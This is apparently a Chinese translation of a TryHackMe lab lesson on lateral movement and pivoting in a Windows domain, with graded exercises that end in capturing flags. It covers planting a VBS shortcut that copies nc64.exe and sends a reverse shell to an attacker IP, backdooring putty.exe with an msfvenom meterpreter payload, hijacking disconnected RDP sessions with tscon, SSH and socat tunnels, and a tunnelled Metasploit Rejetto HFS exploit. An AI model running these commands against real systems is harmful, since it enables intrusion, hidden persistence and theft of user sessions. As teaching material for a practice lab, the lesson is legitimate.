在检查公司环境时,经常会发现合法用户用来执行日常任务的网络共享。 如果这些共享由于某种原因是可写的,攻击者就可以植入特定文件来强制用户执行任意有效负载并获得对其计算机的访问权限。

一种常见的情况是查找网络共享上托管的脚本或可执行文件的快捷方式。

PuTTY lnk file

CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True

这会将 nc64.exe 从共享复制到用户工作站的“%tmp%”目录,并在用户打开共享 VBS 脚本时向攻击者发送反向 shell。

后门 .exe 文件

如果共享文件是Windows二进制文件,例如putty.exe,您可以从共享下载它并使用msfvenom向其中注入后门。 该二进制文件仍将照常工作,但会静默执行额外的有效负载。 要创建后门 putty.exe,我们可以使用以下命令:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe

生成的 puttyX.exe 将在用户没有注意到的情况下执行reverse_tcp meterpreter有效负载。 文件生成后,我们可以替换 Windows 共享上的可执行文件,并使用 Metasploit 中的exploit/multi/handler 模块等待任何连接。

RDP hijacking

当管理员使用远程桌面连接到计算机并关闭 RDP 客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态。 如果您在 Windows Server 2016 及更早版本上拥有系统权限,则无需密码即可接管任何现有 RDP 会话。

如果我们有管理员级别的访问权限,我们可以通过我们喜欢的任何方法获取 SYSTEM。 现在,我们将使用 psexec 来执行此操作。 首先,让我们以管理员身份运行 cmd.exe:

Run as administrator

从那里运行“PsExec64.exe”(位于“C:\tools\”):

PsExec64.exe -s cmd.exe

要列出服务器上现有的会话,可以使用以下命令:

命令提示符

           C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM
luke 3 Disc . 4/6/2022 6:51 AM

根据上面的命令输出,如果我们当前使用管理员用户通过 RDP 连接,我们的 SESSIONNAME 将为“rdp-tcp#6”。 我们还可以看到名为 luke 的用户打开了一个 ID 为“3”的会话。 任何具有 Disc 状态的会话均已由用户保持打开状态,目前未使用。 虽然您也可以接管活动会话,但当您这样做时,合法用户将被迫退出其会话,他们可能会注意到这一点。

要连接到会话,我们将使用 tscon.exe 并指定我们将接管的会话 ID,以及当前的 SESSIONNAME。 按照前面的示例,如果我们以管理员用户身份连接,要接管 luke 的会话,我们将使用以下命令:

tscon 3 /dest:rdp-tcp#6

简而言之,该命令指出 luke 拥有的图形会话“3”应与管理员用户拥有的 RDP 会话“rdp-tcp#6”连接。

因此,我们将恢复 Luke 的 RDP 会话并立即连接到它。

注意: Windows Server 2019 不允许您在不知道密码的情况下连接到其他用户的会话。

Let’s Get to Work!

要完成此练习,您需要使用从 http://distributor.za.tryhackme.com/creds_t2 获取的一组新凭据连接到 THMJMP2(请注意,此链接与其他任务不同)。 获得凭据后,通过 RDP 连接到 THMJMP2:

xfreerdp /v:thmjmp2.za.tryhackme.com /u:YOUR_USER /p:YOUR_PASSWORD

这些凭据将授予您对 THMJMP2 的管理访问权限。

对于此任务,我们将劫持 RDP 会话。 如果您有兴趣尝试后门 exe 或其他文件,您可以在 Windows 本地持久性 室中找到一些有关此的练习。

按照说明劫持 t1_toby.beck 在 THMJMP2 上的 RDP 会话以获取您的标志。

注意: 当执行“查询会话”时,您将看到几个名为 t1_toby.beck 的用户,后跟一个数字。 这些只是同一用户的相同副本,您可以劫持其中任何一个(您不需要劫持全部)。 确保劫持标记为 断开连接(光盘) 的会话,以避免干扰其他用户。

Port Forwarding

我们提出的大多数横向移动技术都需要特定端口可供攻击者使用。 在现实网络中,管理员可能出于安全原因阻止了其中一些端口,或者在网络周围实施了分段,从而阻止您访问 SMB、RDP、WinRM 或 RPC 端口。

为了绕过这些限制,我们可以使用端口转发技术,其中包括使用任何受感染的主机作为跳转盒来转向其他主机。 预计某些机器将比其他机器拥有更多的网络权限,因为企业中的每个角色在日常工作所需的网络服务方面都有不同的需求。

SSH Tunnelling

我们要研究的第一个协议是 SSH,因为它已经具有内置功能,可以通过称为 SSH 隧道 的功能进行端口转发。 虽然 SSH 曾经是与 Linux 系统相关的协议,但 Windows 现在默认附带 OpenSSH 客户端,因此您可以在当今的许多系统中找到它,而与操作系统无关。

SSH 隧道可以以不同的方式使用来通过 SSH 连接转发端口,我们将根据情况使用它。 为了解释每种情况,我们假设一个场景,我们已经获得了对 PC-1 机器的控制权(不需要管理员访问权限),并且希望将其用作访问另一台机器上的端口的枢纽。 我们无法直接连接。 我们将启动一条从 PC-1 计算机(充当 SSH 客户端)到攻击者 PC(充当 SSH 服务器)的隧道。 这样做的原因是,您经常会在 Windows 计算机上找到 SSH 客户端,但大多数时候没有可用的 SSH 服务器。

SSH tunnel

由于我们将连接回攻击者的计算机,因此我们希望在其中创建一个用户,而无需访问任何隧道控制台,并设置用于创建隧道的密码:

useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser

根据您的需要,SSH 隧道可用于执行本地或远程端口转发。 让我们看一下每个案例。

SSH 远程端口转发

在我们的示例中,假设防火墙策略阻止攻击者的计算机直接访问服务器上的端口 3389。 如果攻击者之前已入侵 PC-1,并且 PC-1 可以访问服务器的端口 3389,则可以使用 PC-1 的远程端口转发将其转移到端口 3389。 远程端口转发允许您从 SSH 客户端(在本例中为 PC-1)获取可访问的端口,并将其投射到远程 SSH 服务器(攻击者的计算机)中。

结果,攻击者的计算机上将打开一个端口,可用于通过 SSH 隧道连接回服务器中的端口 3389。 反过来,PC-1 将代理连接,以便服务器将看到所有流量,就好像它来自 PC-1 一样:

SSH remote port forwarding

此时可能会出现的一个有效问题是,如果我们已经破坏了 PC-1 并且可以直接从那里运行 RDP 会话,为什么我们需要端口转发。 答案很简单:在我们只能通过控制台访问 PC-1 的情况下,我们将无法使用任何 RDP 客户端,因为我们没有 GUI。 通过使攻击者的计算机可以使用该端口,您可以使用 Linux RDP 客户端进行连接。 当您想要针对无法直接访问的端口运行漏洞利用时,会出现类似的情况,因为您的漏洞利用可能需要特定的脚本语言,而这种语言可能并不总是在您妥协的计算机上可用。

参考上图,要将服务器上的端口 3389 转发回攻击者的计算机,我们可以在 PC-1 上使用以下命令:

PC1:命令提示符

C:\> ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N

这将使用“tunneluser”用户建立从 PC-1 到“1.1.1.1”(攻击者 PC)的 SSH 会话。

由于“tunneluser”不允许在攻击者 PC 上运行 shell,因此我们需要使用“-N”开关运行“ssh”命令以防止客户端请求 shell,否则连接将立即退出。 -R 开关用于请求远程端口转发,语法要求我们首先指示我们将在 SSH 服务器上打开的端口 (3389),后跟一个冒号,然后是套接字的 IP 和端口 我们将转发 (3.3.3.3:3389)。 请注意,端口号不需要匹配,但在本示例中需要匹配。

命令本身不会输出任何内容,但隧道将取决于要运行的命令。 无论何时,我们都可以像使用任何其他命令一样按 CTRL+C 来关闭隧道。

一旦我们的隧道设置并运行,我们就可以访问攻击者的计算机并通过 RDP 进入转发端口来到达服务器:

攻击者机器

munra@attacker-pc$ xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword

SSH Local Port Forwarding

本地端口转发允许我们将端口从 SSH 服务器“拉”到 SSH 客户端。 在我们的场景中,这可用于获取攻击者计算机中可用的任何服务,并通过 PC-1 上的端口使其可用。 这样,任何无法直接连接到攻击者 PC 但可以连接到 PC-1 的主机现在都可以通过枢轴主机访问攻击者的服务。

使用这种类型的端口转发将允许我们从通常无法连接回我们的主机运行反向 shell,或者只是向与我们没有直接连接的计算机提供我们想要的任何服务。

SSH Local Port Forwarding

要从攻击者的计算机转发端口 80 并使其可从 PC-1 访问,我们可以在 PC-1 上运行以下命令:

PC1:命令提示符

C:\> ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N

该命令结构与远程端口转发中使用的命令结构类似,但使用“-L”选项进行本地端口转发。 此选项要求我们指示 PC-1 用于接收连接的本地套接字 (*:80) 以及从攻击者的 PC 角度连接的远程套接字 (127.0.0.1:80)。

请注意,我们在第二个套接字中使用 IP 地址 127.0.0.1,从攻击者的 PC 角度来看,这是持有要转发的端口 80 的主机。

由于我们在 PC-1 上打开一个新端口,因此我们可能需要添加防火墙规则以允许传入连接(使用“dir=in”)。 为此需要管理权限:

netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

设置隧道后,任何用户将其浏览器指向 PC-1“http://2.2.2.2:80”并查看攻击者计算机发布的网站。

Port Forwarding With socat

在 SSH 不可用的情况下,socat 可用于执行类似的功能。 虽然不如 SSH 灵活,但 socat 允许您以更简单的方式转发端口。 使用 socat 的缺点之一是我们需要将其传输到枢轴主机(在我们当前的示例中为 PC-1),使其比 SSH 更容易被检测到,但在没有其他选项可用的情况下可能值得一试。

使用 socat 执行端口转发的基本语法要简单得多。 如果我们想打开主机上的端口 1234 并将我们收到的任何连接转发到主机 1.1.1.1 上的端口 4321,您将使用以下命令:

socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321

fork 选项允许 socat 为收到的每个连接创建一个新进程,从而可以在不关闭的情况下处理多个连接。 如果不包含它,socat 将在第一个连接完成时关闭。

回到我们的示例,如果我们想像使用 SSH 远程端口转发一样使用 PC-1 作为枢纽来访问服务器上的端口 3389,我们可以使用以下命令:

PC-1:命令提示符

C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389

请注意,socat 无法像 SSH 那样将连接直接转发到攻击者的计算机,但会在 PC-1 上打开一个端口,攻击者的计算机随后可以连接到该端口:

SOCAT port forwarding 1

像往常一样,由于在枢轴主机上打开了一个端口,我们可能需要创建一个防火墙规则以允许到该端口的任何连接:

netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389

另一方面,如果我们想从攻击者的机器公开端口 80,以便服务器可以访问它,我们只需要稍微调整一下命令:

PC-1:命令提示符

C:\>socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80

结果,PC-1 将生成端口 80 并侦听要转发到攻击者计算机上的端口 80 的连接:

SOCAT port forwarding 2

Dynamic Port Forwarding and SOCKS

虽然单端口转发对于需要访问特定套接字的任务非常有效,但有时我们可能需要通过枢轴主机对主机的许多端口甚至跨多台计算机的许多端口运行扫描。 在这些情况下,动态端口转发允许我们通过主机进行旋转,并使用 SOCKS 代理 与我们想要的任何 IP 地址/端口建立多个连接。

由于我们不想依赖目标网络中 Windows 计算机上现有的 SSH 服务器,因此我们通常会使用 SSH 客户端通过以下命令建立反向动态端口转发:

PC1:命令提示符

C:\> ssh tunneluser@1.1.1.1 -R 9050 -N

在这种情况下,SSH 服务器将在端口“9050”上启动 SOCKS 代理,并通过 SSH 隧道转发任何连接请求,最终由 SSH 客户端代理。

最有趣的部分是,我们可以使用 proxychains 通过 SOCKS 代理轻松使用我们的任何工具。 为此,我们首先需要确保 proxychains 正确配置为将任何连接指向 SOCKS 代理服务器的 SSH 使用的同一端口。 proxychains 配置文件可以在 AttackBox 上的“/etc/proxychains.conf”中找到。 如果我们向下滚动到配置文件的末尾,我们应该看到一行指示用于袜子代理的端口:

[ProxyList]
socks4 127.0.0.1 9050

默认端口是 9050,但是只要与我们建立 SSH 隧道时使用的端口匹配,任何端口都可以工作。

如果我们现在想通过代理执行任何命令,我们可以使用代理链:

proxychains curl http://pxeboot.za.tryhackme.com

请注意,某些软件(例如 nmap)在某些情况下可能无法与 SOCKS 很好地配合,并且可能显示不同的结果,因此您的情况可能会有所不同。

Let’s Get to Work!

注意: 由于您将使用“tunneluser”从实验室网络到攻击者计算机进行 SSH 连接来执行此任务,因此我们强烈建议您使用 Attackbox 或虚拟机而不是实际计算机。 已给出有关创建不允许通过 SSH/SCP 运行命令或传输文件的用户的说明,因此请务必按照提供的说明进行操作。 还建议为“tunneluser”创建一个强密码,并确保它是唯一且可丢弃的密码,而不是您在此或任何其他平台中的实际密码。

要完成此练习,您需要使用在任务 1 中从 http://distributor.za.tryhackme.com/creds 分配给您的凭据连接到 THMJMP2。 如果您还没有这样做,请单击链接并立即获取凭据。 获得凭据后,通过 SSH 连接到 THMJMP2:

ssh za\\<AD Username>@thmjmp2.za.tryhackme.com

我们的第一个目标是通过 RDP 连接到 THMIIS。 如果我们尝试直接从攻击者计算机进行连接,我们会发现端口 3389 已通过防火墙过滤,因此无法直接使用。 但是,该端口已启动并正在运行,但只能从 THMJMP2 访问。 通过使用 THMJMP2 上“C:\tools\socat\”上的 socat,我们将转发 RDP 端口,使其在 THMJMP2 上可用于从攻击者的计算机进行连接。

为此,我们将使用以下参数运行 socat:

THMJMP2:命令提示符

C:\tools\socat\>socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389

请注意,我们不能将端口 3389 用于侦听器,因为它已在 THMJMP2 中用于其自己的 RDP 服务。 请随意将侦听器端口 (13389) 更改为其他号码,以避免与其他学生发生冲突。 在典型设置中,您必须添加防火墙规则以允许流量通过侦听器端口,但为了方便起见,THMJMP2 已禁用其防火墙。

设置侦听器后,您应该能够通过 THMJMP2 处的 socat 侦听器通过 RDP 从攻击者计算机连接到 THMIIS:

​ AttackBox

user@AttackBox$ xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020

连接后,您应该会从 THMIIS 上的 t1_thomas.moore 桌面上获得一个标志。

隧道复杂漏洞利用

THMDC 服务器正在运行 Rejetto HFS 的易受攻击版本。 我们面临的问题是防火墙规则限制对易受攻击的端口的访问,因此只能从 THMJMP2 进行查看。 此外,来自 THMDC 的出站连接仅允许其本地网络中的计算机进行,因此无法直接接收到攻击者计算机的反向 shell。 更糟糕的是,Rejetto HFS 漏洞要求攻击者托管 HTTP 服务器来触发最终有效负载,但由于攻击者的计算机不允许出站连接,因此我们需要找到一种方法来托管 Web 服务器之一 同一网络中的其他机器,这一点也不方便。 我们可以使用端口转发来克服所有这些问题。

首先,让我们看看该漏洞利用程序是如何工作的。 首先,它将连接到 HFS 端口(Metasploit 中的“RPORT”)以触发第二个连接。 第二个连接将在“SRVPORT”上针对攻击者的计算机进行,其中 Web 服务器将传递最终的有效负载。 最后,攻击者的有效负载将在“LPORT”上执行并向攻击者发送回反向 shell:

HFS exploit

考虑到这一点,我们可以使用 SSH 将某些端口从攻击者的计算机转发到 THMJMP2(用于 Web 服务器的 SRVPORT 和用于接收反向 shell 的 LPORT),并通过 THMJMP2 到达 THMDC 上的 RPORT。 我们需要在两个方向上进行三个端口转发,以便所有漏洞利用的交互都可以通过 THMJMP2 进行代理:

HFS Forwarded exploit

Rejetto HFS 将侦听 THMDC 上的端口 80,因此我们需要使用远程端口转发通过 THMJMP2 将该端口隧道传回攻击者的计算机。 由于攻击盒的 80 端口已被其他服务占用,因此我们需要将 THMDC 上的端口 80 与攻击盒当前未使用的某个端口链接起来。 让我们使用端口 8888。在 THMJMP2 中运行 ssh 来转发此端口时,我们必须将 -R 8888:thmdc.za.tryhackme.com:80 添加到我们的命令中。

对于SRVPORT和LPORT,我们随意选择两个随机端口。 出于演示目的,我们将设置“SRVPORT=6666”和“LPORT=7878”,但请务必使用不同的端口,因为实验室与其他学生共享,因此如果你们两个选择相同的端口,则在尝试转发时 如果使用它们,您将收到一条错误消息,指出此类端口已在 THMJMP2 上使用。

要将此类端口从攻击者计算机转发到 THMJMP2,我们将通过在 ssh 命令中添加 -L *:6666:127.0.0.1:6666-L *:7878:127.0.0.1:7878 来使用本地端口转发 。 这将绑定 THMJMP2 上的两个端口,并将任何连接隧道返回到我们的攻击者计算机。

将整个命令放在一起,我们最终会得到以下结果:

THMJMP2:命令提示符

C:\> ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N   

注意: 如果您正在使用 AttackBox 并且之前加入过其他网络房间,请务必选择分配给面向“latermovementandpivoting”网络的隧道接口的 IP 地址作为您的 ATTACKER_IP,否则您的反向 shell/连接将获胜 无法正常工作。 为了您的方便起见,连接到该网络的接口称为“latermovement”,因此您应该能够通过运行“ip add show Lateralmovement”来获取正确的 IP 地址:

img

一旦所有端口转发到位,我们就可以启动 Metasploit 并配置漏洞利用程序,以便所需的端口与我们通过 THMJMP2 转发的端口相匹配:

攻击盒

user@AttackBox$ msfconsole
msf6 > use rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/shell_reverse_tcp

msf6 exploit(windows/http/rejetto_hfs_exec) > set lhost thmjmp2.za.tryhackme.com
msf6 exploit(windows/http/rejetto_hfs_exec) > set ReverseListenerBindAddress 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set lport 7878
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvhost 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvport 6666

msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set rport 8888
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

这里有很多东西需要解压:

  • LHOST参数通常有两个用途:用作攻击者机器上绑定监听器以接收反向shell的IP; 它还嵌入在有效负载中,以便受害者知道在触发漏洞时从哪里进行连接。 在我们的特定场景中,由于 THMDC 无法联系到我们,因此我们需要强制有效负载连接回 THMJMP2,但我们需要侦听器在“127.0.0.1”上绑定到攻击者的计算机。 为此,Metasploit 提供了一个可选参数“ReverseListenerBindAddress”,该参数可用于指定攻击者机器上侦听器的绑定地址,与有效负载将连接回的地址分开。 在我们的示例中,我们希望将反向 shell 侦听器绑定到攻击者计算机上的 127.0.0.1,并将有效负载连接回 THMJMP2(因为它将通过 SSH 隧道转发到攻击者计算机)。
  • 我们的漏洞还必须运行一个 Web 服务器来托管并将最终有效负载发送回受害者服务器。 我们使用 SRVHOST 来指示监听地址,在本例中为 127.0.0.1,以便攻击者机器将 Web 服务器绑定到 localhost。 虽然这可能违反直觉,因为没有外部主机能够指向攻击者的计算机本地主机,但 SSH 隧道将负责将 SRVPORT 处 THMJMP2 上收到的任何连接转发回攻击者的计算机。
  • RHOSTS 设置为指向 127.0.0.1,因为 SSH 隧道将通过使用 THMJMP2 建立的 SSH 隧道将请求转发到 THMDC。 RPORT 设置为 8888,因为发送到攻击者计算机上该端口的任何连接都将转发到 THMDC 上的端口 80。

启动该漏洞后,您将在攻击者的计算机上收到一个 shell。 您将在“C:\hfs\flag.txt”上找到一个标志。